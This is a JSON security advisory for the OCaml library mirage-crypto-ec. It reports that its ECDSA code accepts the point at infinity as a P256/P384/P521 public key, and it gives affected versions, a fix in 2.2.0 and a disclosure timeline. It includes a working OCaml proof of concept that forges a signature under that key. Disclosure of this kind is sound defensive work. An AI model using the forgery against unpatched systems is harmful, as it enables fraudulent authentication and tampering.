{"id":"OSEC-2026-13","summary":"ECDSA accepts the point at infinity as a P256, P384, P521 public key","details":"`P256{,P384,P521}.Dsa.pub_of_octets` accepts 0x00, the encoding of the point at infinity, as a public key. The Diffie-Hellman path rejects that point (`point_of_octets`); the ECDSA path skips the same check. Under such a key a signature can be forged with no private key, as the repro shows.\n\nThe same class is treated as high severity elsewhere. CVE-2022-21449 (\"Psychic Signatures\", OpenJDK) let a blank ECDSA signature verify, and CVE-2020-0601 (\"CurveBall\", Windows CryptoAPI) accepted a crafted ECC public key for certificate validation. Both are missing-validation forgeries on the same primitive.\n\n## Solution\n\nCheck for point at infinity in `pub_of_octets`.\n\n## Reproduction\n\n```OCaml\nmodule Dsa = Mirage_crypto_ec.P256.Dsa\n\n(* 0x00 is the SEC1 encoding of the point at infinity A a signature using it can be forged for\n   any message with no private key. *)\nlet () =\n  Mirage_crypto_rng.(set_default_generator (create ~seed:\"forge\" (module Fortuna)));\n  let o_key = Result.get_ok (Dsa.pub_of_octets \"\\x00\") in\n  let z = Digestif.SHA256.(to_raw_string (digest_string \"transfer 1000eur to mallory\")) in\n  let r, _ = Dsa.sign ~key:(Result.get_ok (Dsa.priv_of_octets z)) ~k:z z in\n  let s = String.make 31 '\\000' ^ \"\\001\" in\n  Printf.printf \"0x00 accepted as a public key:    %b\\n\" (Result.is_ok (Dsa.pub_of_octets \"\\x00\"));\n  Printf.printf \"forged (r, s=1) verifies under O:  %b\\n\" (Dsa.verify ~key:o_key (r, s) z)\n```\n\n## Timeline\n\n- June 25th 2026: report to ocaml/security-advisories\n- June 29th: acknowledgement of issue with several questions for the reporter\n- July 6th: answers from reporter, including a patch\n- July 27th: release of mirage-crypto 2.2.0 and security advisory","modified":"2026-07-27T19:45:06.307018243Z","published":"2026-07-27T19:00:00Z","database_specific":{"osv":"https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-13.json","human_link":"https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-13.md","cwe":["CWE-295"]},"affected":[{"package":{"name":"mirage-crypto-ec","ecosystem":"opam","purl":"pkg:opam/mirage-crypto-ec"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0"}]},{"type":"GIT","repo":"https://github.com/mirage/mirage-crypto.git","events":[{"introduced":"0"},{"fixed":"ca84f5ee8ede80bd1dd2aa4cd7cc90197752184e"}]}],"versions":["0.9.0","0.9.1","0.9.2","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.10.7","0.11.0","0.11.1","0.11.2","0.11.3","1.0.0","1.1.0","1.2.0","2.0.0","2.0.1","2.0.2","2.0.3","2.1.0","v2.1.0","v2.0.3","v2.0.2","v2.0.1","v2.0.0","v1.2.0","v1.1.0","v1.0.1","v1.0.0","v0.11.3","v0.11.2","v0.11.1","v0.11.0","v0.10.7","v0.10.6","v0.10.5","v0.10.4","v0.10.3","v0.10.2","v0.10.1","v0.10.0","v0.9.2","v0.9.1","v0.9.0","v0.8.10","v0.8.9","v0.8.8","v0.8.7","v0.8.6","v0.8.5","v0.8.4","v0.8.3","v0.8.2","v0.8.1","v0.8.0","v0.7.0","v0.6.2","v0.6.1","v0.6.0"],"ecosystem_specific":{"opam_constraint":"mirage-crypto-ec {\u003c \"2.2.0\"}"},"database_specific":{"source":"https://github.com/ocaml/security-advisories/blob/generated-osv/2026/OSEC-2026-13.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"credits":[{"name":"Thomas Gazagnaire","type":"REPORTER"},{"name":"Thomas Gazagnaire","type":"REMEDIATION_DEVELOPER"},{"name":"Hannes Mehnert","type":"REMEDIATION_REVIEWER"}]}